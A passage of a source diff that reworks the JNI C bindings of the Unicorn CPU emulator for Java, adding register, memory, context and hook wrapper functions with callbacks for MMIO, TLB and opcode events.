struct hook_wrapper *hh = user_data; + jobject jcur_tb = makeTranslationBlock(env, cur_tb); + if (!jcur_tb) { + hookErrorCheck(uc, env); + return; + } + + jobject jprev_tb = makeTranslationBlock(env, prev_tb); + if (!jprev_tb) { + hookErrorCheck(uc, env); + return; + } + + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + jcur_tb, jprev_tb, hh->user_data); + hookErrorCheck(uc, env); +} - fid = (*env)->GetFieldID(env, clz, "limit", "I"); - mmr.limit = (uint32_t)(*env)->GetLongField(env, value, fid); +static const char *const sig_TcgOpcodeHook = + "(Lunicorn/Unicorn;JJJILjava/lang/Object;)V"; +static void cb_tcg_op_2(uc_engine *uc, uint64_t address, uint64_t arg1, + uint64_t arg2, uint32_t size, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jlong)address, (jlong)arg1, (jlong)arg2, (jint)size, + hh->user_data); + hookErrorCheck(uc, env); +} - fid = (*env)->GetFieldID(env, clz, "flags", "I"); - mmr.flags = (uint32_t)(*env)->GetLongField(env, value, fid); +static const char *const sig_TlbFillHook = + "(Lunicorn/Unicorn;JILjava/lang/Object;)J"; +static bool cb_tlbevent(uc_engine *uc, uint64_t vaddr, uc_mem_type type, + uc_tlb_entry *entry, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jlong result = + (*env)->CallLongMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jlong)vaddr, (jint)type, hh->user_data); + if (hookErrorCheck(uc, env)) { + return false; + } + if (result == -1L) { + return false; + } else { + entry->paddr = result & ~UC_PROT_ALL; + entry->perms = result & UC_PROT_ALL; + return true; + } +} - fid = (*env)->GetFieldID(env, clz, "selector", "S"); - mmr.selector = (uint16_t)(*env)->GetLongField(env, value, fid); +static const char *const sig_MmioReadHandler = + "(Lunicorn/Unicorn;JILjava/lang/Object;)J"; +static uint64_t cb_mmio_read(uc_engine *uc, uint64_t offset, unsigned size, + void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + jlong result = + (*env)->CallLongMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jlong)offset, (jint)size, hh->user_data); + if (hookErrorCheck(uc, env)) { + return 0; + } + return (uint64_t)result; +} - uc_err err = uc_reg_write(eng, regid, &mmr); - if (err != UC_ERR_OK) { - throwException(env, err); - } +static const char *const sig_MmioWriteHandler = + "(Lunicorn/Unicorn;JIJLjava/lang/Object;)V"; +static void cb_mmio_write(uc_engine *uc, uint64_t offset, unsigned size, + uint64_t value, void *user_data) +{ + JNIEnv *env; + (*cachedJVM)->AttachCurrentThread(cachedJVM, (void **)&env, NULL); + struct hook_wrapper *hh = user_data; + (*env)->CallVoidMethod(env, hh->hook_obj, hh->hook_meth, hh->unicorn, + (jlong)offset, (jint)size, (jlong)value, + hh->user_data); + hookErrorCheck(uc, env); } /* * Class: unicorn_Unicorn - * Method: reg_read_num - * Signature: (I)Ljava/lang/Number; + * Method: _open + * Signature: (II)J */ -JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1num - (JNIEnv *env, jobject self, jint regid) { - uc_engine *eng = getEngine(env, self); - - jclass clz = (*env)->FindClass(env, "java/lang/Long"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1open(JNIEnv *env, jclass clazz, + jint arch, jint mode) +{ + uc_engine *eng = NULL; + uc_err err = uc_open(arch, mode, &eng); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return (jlong)eng; +} - jlong longVal; - uc_err err = uc_reg_read(eng, regid, &longVal); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _close + * Signature: (J)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1close(JNIEnv *env, jclass clazz, + jlong uc) +{ + uc_err err = uc_close((uc_engine *)uc); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(J)V"); - jobject result = (*env)->NewObject(env, clz, cons, longVal); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - return result; +/* + * Class: unicorn_Unicorn + * Method: _emu_start + * Signature: (JJJJJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1emu_1start( + JNIEnv *env, jclass clazz, jlong uc, jlong begin, jlong until, + jlong timeout, jlong count) +{ + uc_err err = + uc_emu_start((uc_engine *)uc, begin, until, timeout, (size_t)count); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: reg_read_mmr - * Signature: (I)Ljava/lang/Number; + * Method: _emu_stop + * Signature: (J)V */ -JNIEXPORT jobject JNICALL Java_unicorn_Unicorn_reg_1read_1mmr - (JNIEnv *env, jobject self, jint regid) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1emu_1stop(JNIEnv *env, + jclass clazz, jlong uc) +{ + uc_err err = uc_emu_stop((uc_engine *)uc); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - jclass clz = (*env)->FindClass(env, "unicorn/X86_MMR"); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } +static uc_err generic_reg_read(jlong ptr, jint isContext, jint regid, + void *result, size_t *size) +{ + if (isContext) { + return uc_context_reg_read2((uc_context *)ptr, regid, result, size); + } else { + return uc_reg_read2((uc_engine *)ptr, regid, result, size); + } +} - uc_x86_mmr mmr; - uc_err err = uc_reg_read(eng, regid, &mmr); - if (err != UC_ERR_OK) { - throwException(env, err); - } +static uc_err generic_reg_write(jlong ptr, jint isContext, jint regid, + const void *value, size_t *size) +{ + if (isContext) { + return uc_context_reg_write2((uc_context *)ptr, regid, value, size); + } else { + return uc_reg_write2((uc_engine *)ptr, regid, value, size); + } +} - jmethodID cons = (*env)->GetMethodID(env, clz, "", "(JIIS)V"); - jobject result = (*env)->NewObject(env, clz, cons, mmr.base, mmr.limit, mmr.flags, mmr.selector); - if ((*env)->ExceptionCheck(env)) { - return NULL; - } - return result; +/* + * Class: unicorn_Unicorn + * Method: _reg_read_long + * Signature: (JII)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1reg_1read_1long( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint regid) +{ + uint64_t result = 0; + size_t size = 8; + uc_err err = generic_reg_read(ptr, isContext, regid, &result, &size); + /* TODO: If the host is big-endian and size < 8 after the read, + the result must be transposed to the least-significant bytes. */ + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return result; } /* * Class: unicorn_Unicorn - * Method: open - * Signature: (II)J + * Method: _reg_read_bytes + * Signature: (JII[B)V */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_open - (JNIEnv *env, jobject self, jint arch, jint mode) { - uc_engine *eng = NULL; - uc_err err = uc_open((uc_arch)arch, (uc_mode)mode, &eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jlong)eng; +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1read_1bytes( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint regid, + jbyteArray data) +{ + jbyte *arr = (*env)->GetByteArrayElements(env, data, NULL); + size_t size = (*env)->GetArrayLength(env, data); + uc_err err = generic_reg_read(ptr, isContext, regid, arr, &size); + (*env)->ReleaseByteArrayElements(env, data, arr, 0); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: version - * Signature: ()I + * Method: _reg_write_long + * Signature: (JIIJ)V */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_version - (JNIEnv *env, jclass clz) { - return (jint)uc_version(NULL, NULL); +JNIEXPORT void JNICALL +Java_unicorn_Unicorn__1reg_1write_1long(JNIEnv *env, jclass clazz, jlong ptr, + jint isContext, jint regid, jlong value) +{ + uint64_t cvalue = value; + size_t size = 8; + uc_err err = generic_reg_write(ptr, isContext, regid, &cvalue, &size); + /* TODO: If the host is big-endian and size < 8 after the write, + we need to redo the write with the pointer shifted appropriately */ + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: arch_supported - * Signature: (I)Z + * Method: _reg_write_bytes + * Signature: (JII[B)V */ -JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn_arch_1supported - (JNIEnv *env, jclass clz, jint arch) { - return (jboolean)(uc_arch_supported((uc_arch)arch) != 0); +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1write_1bytes( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint regid, + jbyteArray data) +{ + jbyte *arr = (*env)->GetByteArrayElements(env, data, NULL); + size_t size = (*env)->GetArrayLength(env, data); + uc_err err = generic_reg_write(ptr, isContext, regid, arr, &size); + (*env)->ReleaseByteArrayElements(env, data, arr, JNI_ABORT); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: close - * Signature: ()V + * Method: _reg_read_x86_mmr + * Signature: (JII)Lunicorn/X86_MMR; */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_close - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - uc_err err = uc_close(eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } - //We also need to ReleaseByteArrayElements for any regions that - //were mapped with uc_mem_map_ptr +JNIEXPORT jobject JNICALL Java_unicorn_Unicorn__1reg_1read_1x86_1mmr( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint regid) +{ + uc_x86_mmr reg = {0}; + size_t size = sizeof(reg); + uc_err err = generic_reg_read(ptr, isContext, regid, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return makeX86_MMR(env, ®); } /* * Class: unicorn_Unicorn - * Method: query - * Signature: (I)I + * Method: _reg_write_x86_mmr + * Signature: (JIISJII)V */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_query - (JNIEnv *env, jobject self, jint type) { - uc_engine *eng = getEngine(env, self); - size_t result; - uc_err err = uc_query(eng, type, &result); - if (err != UC_ERR_OK) { - throwException(env, err); - } - return (jint)result; +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1write_1x86_1mmr( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint regid, + jshort selector, jlong base, jint limit, jint flags) +{ + uc_x86_mmr reg = {0}; + reg.selector = selector; + reg.base = base; + reg.limit = limit; + reg.flags = flags; + size_t size = sizeof(reg); + uc_err err = generic_reg_write(ptr, isContext, regid, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: errno - * Signature: ()I + * Method: _reg_read_x86_msr + * Signature: (JII)J */ -JNIEXPORT jint JNICALL Java_unicorn_Unicorn_errno - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); - return (jint)uc_errno(eng); +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1reg_1read_1x86_1msr( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint rid) +{ + uc_x86_msr reg = {0}; + reg.rid = rid; + size_t size = sizeof(reg); + uc_err err = generic_reg_read(ptr, isContext, UC_X86_REG_MSR, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return reg.value; } /* * Class: unicorn_Unicorn - * Method: strerror - * Signature: (I)Ljava/lang/String; + * Method: _reg_write_x86_msr + * Signature: (JIIJ)V */ -JNIEXPORT jstring JNICALL Java_unicorn_Unicorn_strerror - (JNIEnv *env, jclass clz, jint code) { - const char *err = uc_strerror((int)code); - jstring s = (*env)->NewStringUTF(env, err); - return s; +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1write_1x86_1msr( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint rid, jlong value) +{ + uc_x86_msr reg = {0}; + reg.rid = rid; + reg.value = value; + size_t size = sizeof(reg); + uc_err err = generic_reg_write(ptr, isContext, UC_X86_REG_MSR, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: reg_write - * Signature: (I[B)V + * Method: _reg_read_arm_cp + * Signature: (JIIIIIIII)J */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_reg_1write - (JNIEnv *env, jobject self, jint regid, jbyteArray value) { - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, value, NULL); - uc_err err = uc_reg_write(eng, (int)regid, (void *)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, value, array, JNI_ABORT); +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1reg_1read_1arm_1cp( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint cp, jint is64, + jint sec, jint crn, jint crm, jint opc1, jint opc2) +{ + uc_arm_cp_reg reg = {0}; + reg.cp = cp; + reg.is64 = is64; + reg.sec = sec; + reg.crn = crn; + reg.crm = crm; + reg.opc1 = opc1; + reg.opc2 = opc2; + size_t size = sizeof(reg); + uc_err err = generic_reg_read(ptr, isContext, UC_ARM_REG_CP_REG, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return reg.val; } /* * Class: unicorn_Unicorn - * Method: reg_read - * Signature: (II)[B + * Method: _reg_write_arm_cp + * Signature: (JIIIIIIIIJ)V */ -JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_reg_1read - (JNIEnv *env, jobject self, jint regid, jint regsz) { - uc_engine *eng = getEngine(env, self); - jbyteArray regval = (*env)->NewByteArray(env, (jsize)regsz); - jbyte *array = (*env)->GetByteArrayElements(env, regval, NULL); - uc_err err = uc_reg_read(eng, (int)regid, (void *)array); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, regval, array, 0); - return regval; +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1write_1arm_1cp( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint cp, jint is64, + jint sec, jint crn, jint crm, jint opc1, jint opc2, jlong value) +{ + uc_arm_cp_reg reg = {0}; + reg.cp = cp; + reg.is64 = is64; + reg.sec = sec; + reg.crn = crn; + reg.crm = crm; + reg.opc1 = opc1; + reg.opc2 = opc2; + reg.val = value; + size_t size = sizeof(reg); + uc_err err = generic_reg_write(ptr, isContext, UC_ARM_REG_CP_REG, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: mem_write - * Signature: (J[B)V + * Method: _reg_read_arm64_cp + * Signature: (JIIIIII)J */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1write - (JNIEnv *env , jobject self, jlong address, jbyteArray bytes) { +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1reg_1read_1arm64_1cp( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint crn, jint crm, + jint op0, jint op1, jint op2) +{ + uc_arm64_cp_reg reg = {0}; + reg.crn = crn; + reg.crm = crm; + reg.op0 = op0; + reg.op1 = op1; + reg.op2 = op2; + size_t size = sizeof(reg); + uc_err err = generic_reg_read(ptr, isContext, UC_ARM64_REG_CP_REG, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return reg.val; +} - uc_engine *eng = getEngine(env, self); - jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); - jsize size = (*env)->GetArrayLength(env, bytes); - uc_err err = uc_mem_write(eng, (uint64_t)address, array, (size_t)size); +/* + * Class: unicorn_Unicorn + * Method: _reg_write_arm64_cp + * Signature: (JIIIIIIJ)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1reg_1write_1arm64_1cp( + JNIEnv *env, jclass clazz, jlong ptr, jint isContext, jint crn, jint crm, + jint op0, jint op1, jint op2, jlong value) +{ + uc_arm64_cp_reg reg = {0}; + reg.crn = crn; + reg.crm = crm; + reg.op0 = op0; + reg.op1 = op1; + reg.op2 = op2; + reg.val = value; + size_t size = sizeof(reg); + uc_err err = generic_reg_write(ptr, isContext, UC_ARM64_REG_CP_REG, ®, &size); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _mem_read + * Signature: (JJ[B)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1read(JNIEnv *env, + jclass clazz, jlong uc, + jlong address, + jbyteArray dest) +{ + jsize size = (*env)->GetArrayLength(env, dest); + jbyte *arr = (*env)->GetByteArrayElements(env, dest, NULL); + uc_err err = uc_mem_read((uc_engine *)uc, address, arr, size); + (*env)->ReleaseByteArrayElements(env, dest, arr, 0); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } +} - (*env)->ReleaseByteArrayElements(env, bytes, array, JNI_ABORT); +/* + * Class: unicorn_Unicorn + * Method: _mem_write + * Signature: (JJ[B)V + */ +JNIEXPORT void JNICALL Java_unicorn_Unicorn__1mem_1write(JNIEnv *env, + jclass clazz, jlong uc, + jlong address, + jbyteArray src) +{ + jsize size = (*env)->GetArrayLength(env, src); + jbyte *arr = (*env)->GetByteArrayElements(env, src, NULL); + uc_err err = uc_mem_write((uc_engine *)uc, address, arr, size); + (*env)->ReleaseByteArrayElements(env, src, arr, JNI_ABORT); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return; + } } /* * Class: unicorn_Unicorn - * Method: mem_read - * Signature: (JJ)[B + * Method: _version + * Signature: ()I */ -JNIEXPORT jbyteArray JNICALL Java_unicorn_Unicorn_mem_1read - (JNIEnv *env, jobject self, jlong address, jlong size) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1version(JNIEnv *env, jclass clazz) +{ + return (jint)uc_version(NULL, NULL); +} - jbyteArray bytes = (*env)->NewByteArray(env, (jsize)size); - jbyte *array = (*env)->GetByteArrayElements(env, bytes, NULL); - uc_err err = uc_mem_read(eng, (uint64_t)address, array, (size_t)size); - if (err != UC_ERR_OK) { - throwException(env, err); - } - (*env)->ReleaseByteArrayElements(env, bytes, array, 0); - return bytes; +/* + * Class: unicorn_Unicorn + * Method: _arch_supported + * Signature: (I)Z + */ +JNIEXPORT jboolean JNICALL Java_unicorn_Unicorn__1arch_1supported(JNIEnv *env, + jclass clazz, + jint arch) +{ + return (jboolean)(uc_arch_supported((uc_arch)arch) != 0); +} + +/* + * Class: unicorn_Unicorn + * Method: _query + * Signature: (JI)J + */ +JNIEXPORT jlong JNICALL Java_unicorn_Unicorn__1query(JNIEnv *env, jclass clazz, + jlong uc, jint type) +{ + size_t result; + uc_err err = uc_query((uc_engine *)uc, type, &result); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + return 0; + } + return result; +} + +/* + * Class: unicorn_Unicorn + * Method: _errno + * Signature: (J)I + */ +JNIEXPORT jint JNICALL Java_unicorn_Unicorn__1errno(JNIEnv *env, jclass clazz, + jlong uc) +{ + return uc_errno((uc_engine *)uc); } /* * Class: unicorn_Unicorn - * Method: emu_start - * Signature: (JJJJ)V + * Method: _strerror + * Signature: (I)Ljava/lang/String; */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1start - (JNIEnv *env, jobject self, jlong begin, jlong until, jlong timeout, jlong count) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jstring JNICALL Java_unicorn_Unicorn__1strerror(JNIEnv *env, + jclass clazz, + jint code) +{ + const char *err = uc_strerror((int)code); + return (*env)->NewStringUTF(env, err); +} + +static void deleteHookWrapper(JNIEnv *env, struct hook_wrapper *hh) +{ + if (hh) { + if (hh->unicorn) + (*env)->DeleteGlobalRef(env, hh->unicorn); + if (hh->hook_obj) + (*env)->DeleteGlobalRef(env, hh->hook_obj); + if (hh->user_data) + (*env)->DeleteGlobalRef(env, hh->user_data); + free(hh); + } +} - uc_err err = uc_emu_start(eng, (uint64_t)begin, (uint64_t)until, (uint64_t)timeout, (size_t)count); - if (err != UC_ERR_OK) { - throwException(env, err); - } +static struct hook_wrapper *makeHookWrapper(JNIEnv *env, jobject self, + jobject callback, jobject user_data, + const char *hook_name, + const char *hook_sig) +{ + struct hook_wrapper *hh = calloc(1, sizeof(struct hook_wrapper)); + if (!hh) { + throwOutOfMemoryError(env, "Unable to allocate hook_wrapper"); + return NULL; + } + + hh->unicorn = (*env)->NewGlobalRef(env, self); + if (!hh->unicorn) { + deleteHookWrapper(env, hh); + return NULL; + } + + hh->hook_obj = (*env)->NewGlobalRef(env, callback); + if (!hh->hook_obj) { + deleteHookWrapper(env, hh); + return NULL; + } + + jclass clazz = (*env)->GetObjectClass(env, callback); + if (!clazz) { + deleteHookWrapper(env, hh); + return NULL; + } + + hh->hook_meth = (*env)->GetMethodID(env, clazz, hook_name, hook_sig); + if (!hh->hook_meth) { + deleteHookWrapper(env, hh); + return NULL; + } + + if (user_data) { + hh->user_data = (*env)->NewGlobalRef(env, user_data); + if (!hh->user_data) { + deleteHookWrapper(env, hh); + return NULL; + } + } + + return hh; } /* * Class: unicorn_Unicorn - * Method: emu_stop - * Signature: ()V + * Method: _hook_add + * Signature: (JILunicorn/Hook;Ljava/lang/Object;JJ)J */ -JNIEXPORT void JNICALL Java_unicorn_Unicorn_emu_1stop - (JNIEnv *env, jobject self) { - uc_engine *eng = getEngine(env, self); +JNIEXPORT jlong JNICALL +Java_unicorn_Unicorn__1hook_1add__JILunicorn_Hook_2Ljava_lang_Object_2JJ( + JNIEnv *env, jobject self, jlong uc, jint type, jobject callback, + jobject user_data, jlong begin, jlong end) +{ + const char *hook_sig; + void *hook_callback; + + if (type == UC_HOOK_INTR) { + hook_sig = sig_InterruptHook; + hook_callback = cb_hookintr; + } else if (type == UC_HOOK_CODE || type == UC_HOOK_BLOCK) { + hook_sig = sig_CodeHook; // also BlockHook + hook_callback = cb_hookcode; + } else if ((type & UC_HOOK_MEM_INVALID) && !(type & ~UC_HOOK_MEM_INVALID)) { + hook_sig = sig_EventMemHook; + hook_callback = cb_eventmem; + } else if ((type & UC_HOOK_MEM_VALID) && !(type & ~UC_HOOK_MEM_VALID)) { + hook_sig = sig_MemHook; + hook_callback = cb_hookmem; + } else if (type == UC_HOOK_INSN_INVALID) { + hook_sig = sig_InvalidInstructionHook; + hook_callback = cb_hookinsn_invalid; + } else if (type == UC_HOOK_EDGE_GENERATED) { + hook_sig = sig_EdgeGeneratedHook; + hook_callback = cb_edge_gen; + } else if (type == UC_HOOK_TLB_FILL) { + hook_sig = sig_TlbFillHook; + hook_callback = cb_tlbevent; + } else { + throwUnicornException(env, UC_ERR_HOOK); + return 0; + } + + struct hook_wrapper *hh = + makeHookWrapper(env, self, callback, user_data, "hook", hook_sig); + if (hh == NULL) { + return 0; + } + uc_err err = uc_hook_add((uc_engine *)uc, &hh->uc_hh, type, hook_callback, + hh, begin, end); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + deleteHookWrapper(env, hh); + return 0; + } + return (jlong)hh; +} - uc_err err = uc_emu_stop(eng); - if (err != UC_ERR_OK) { - throwException(env, err); - } +/* + * Class: unicorn_Unicorn + * Method: _hook_add + * Signature: (JILunicorn/Hook;Ljava/lang/Object;JJI)J + */ +JNIEXPORT jlong JNICALL +Java_unicorn_Unicorn__1hook_1add__JILunicorn_Hook_2Ljava_lang_Object_2JJI( + JNIEnv *env, jobject self, jlong uc, jint type, jobject callback, + jobject user_data, jlong begin, jlong end, jint arg) +{ + const char *hook_sig; + void *hook_callback; + + if (type == UC_HOOK_INSN) { + switch (arg) { + case UC_X86_INS_IN: + hook_sig = sig_InHook; + hook_callback = cb_insn_in; + break; + case UC_X86_INS_OUT: + hook_sig = sig_OutHook; + hook_callback = cb_insn_out; + break; + case UC_X86_INS_SYSCALL: + case UC_X86_INS_SYSENTER: + hook_sig = sig_SyscallHook; + hook_callback = cb_insn_syscall; + break; + case UC_X86_INS_CPUID: + hook_sig = sig_CpuidHook; + hook_callback = cb_insn_cpuid; + break; + case UC_ARM64_INS_MRS: + case UC_ARM64_INS_MSR: + case UC_ARM64_INS_SYS: + case UC_ARM64_INS_SYSL: + hook_sig = sig_Arm64SysHook; + hook_callback = cb_insn_sys; + break; + default: + throwUnicornException(env, UC_ERR_INSN_INVALID); + return 0; + } + } else { + throwUnicornException(env, UC_ERR_HOOK); + return 0; + } + + struct hook_wrapper *hh = + makeHookWrapper(env, self, callback, user_data, "hook", hook_sig); + if (hh == NULL) { + return 0; + } + uc_err err = uc_hook_add((uc_engine *)uc, &hh->uc_hh, type, hook_callback, + hh, begin, end, arg); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + deleteHookWrapper(env, hh); + return 0; + } + return (jlong)hh; } /* * Class: unicorn_Unicorn - * Method: registerHook - * Signature: (JI)J + * Method: _hook_add + * Signature: (JILunicorn/Hook;Ljava/lang/Object;JJII)J */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JI - (JNIEnv *env, jclass clz, jlong eng, jint type) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_INTR: // Hook all interrupt events - if (invokeInterruptCallbacks == 0) { - invokeInterruptCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInterruptCallbacks", "(JI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookintr, env, 1, 0); - break; - case UC_HOOK_MEM_FETCH_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_READ_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_WRITE_UNMAPPED: // Hook for all invalid memory access events - case UC_HOOK_MEM_FETCH_PROT: // Hook for all invalid memory access events - case UC_HOOK_MEM_READ_PROT: // Hook for all invalid memory access events - case UC_HOOK_MEM_WRITE_PROT: // Hook for all invalid memory access events - if (invokeEventMemCallbacks == 0) { - invokeEventMemCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeEventMemCallbacks", "(JIJIJ)Z"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_eventmem, env, 1, 0); - break; - } - return (jlong)hh; -} - -/* - * Class: unicorn_Unicorn - * Method: registerHook - * Signature: (JII)J +JNIEXPORT jlong JNICALL +Java_unicorn_Unicorn__1hook_1add__JILunicorn_Hook_2Ljava_lang_Object_2JJII( + JNIEnv *env, jobject self, jlong uc, jint type, jobject callback, + jobject user_data, jlong begin, jlong end, jint arg1, jint arg2) +{ + const char *hook_sig; + void *hook_callback; + + if (type == UC_HOOK_TCG_OPCODE) { + hook_sig = sig_TcgOpcodeHook; + hook_callback = cb_tcg_op_2; + } else { + throwUnicornException(env, UC_ERR_HOOK); + return 0; + } + + struct hook_wrapper *hh = + makeHookWrapper(env, self, callback, user_data, "hook", hook_sig); + if (hh == NULL) { + return 0; + } + uc_err err = uc_hook_add((uc_engine *)uc, &hh->uc_hh, type, hook_callback, + hh, begin, end, arg1, arg2); + if (err != UC_ERR_OK) { + throwUnicornException(env, err); + deleteHookWrapper(env, hh); + return 0; + } + return (jlong)hh; +} + +/* + * Class: unicorn_Unicorn + * Method: _hook_del + * Signature: (JJ)V */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JII - (JNIEnv *env, jclass clz, jlong eng, jint type, jint arg1) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_INSN: // Hook a particular instruction - switch (arg1) { - case UC_X86_INS_OUT: - if (invokeOutCallbacks == 0) { - invokeOutCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeOutCallbacks", "(JIII)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_out, env, 1, 0, arg1); - case UC_X86_INS_IN: - if (invokeInCallbacks == 0) { - invokeInCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeInCallbacks", "(JII)I"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_in, env, 1, 0, arg1); - case UC_X86_INS_SYSENTER: - case UC_X86_INS_SYSCALL: - if (invokeSyscallCallbacks == 0) { - invokeSyscallCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeSyscallCallbacks", "(J)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_insn_syscall, env, 1, 0, arg1); - } - break; - } - return (jlong)hh; -} - -/* - * Class: unicorn_Unicorn - * Method: registerHook - * Signature: (JIJJ)J - */ -JNIEXPORT jlong JNICALL Java_unicorn_Unicorn_registerHook__JIJJ - (JNIEnv *env, jclass clz, jlong eng, jint type, jlong arg1, jlong arg2) { - uc_hook hh = 0; - uc_err err = 0; - switch (type) { - case UC_HOOK_CODE: // Hook a range of code - if (invokeCodeCallbacks == 0) { - invokeCodeCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeCodeCallbacks", "(JJI)V"); - } - err = uc_hook_add((uc_engine*)eng, &hh, (uc_hook_type)type, cb_hookcode, env, 1, 0, arg1, arg2); - break; - case UC_HOOK_BLOCK: // Hook basic blocks - if (invokeBlockCallbacks == 0) { - invokeBlockCallbacks = (*env)->GetStaticMethodID(env, clz, "invokeBlockCallbacks", "(JJI)V"); - } - err = 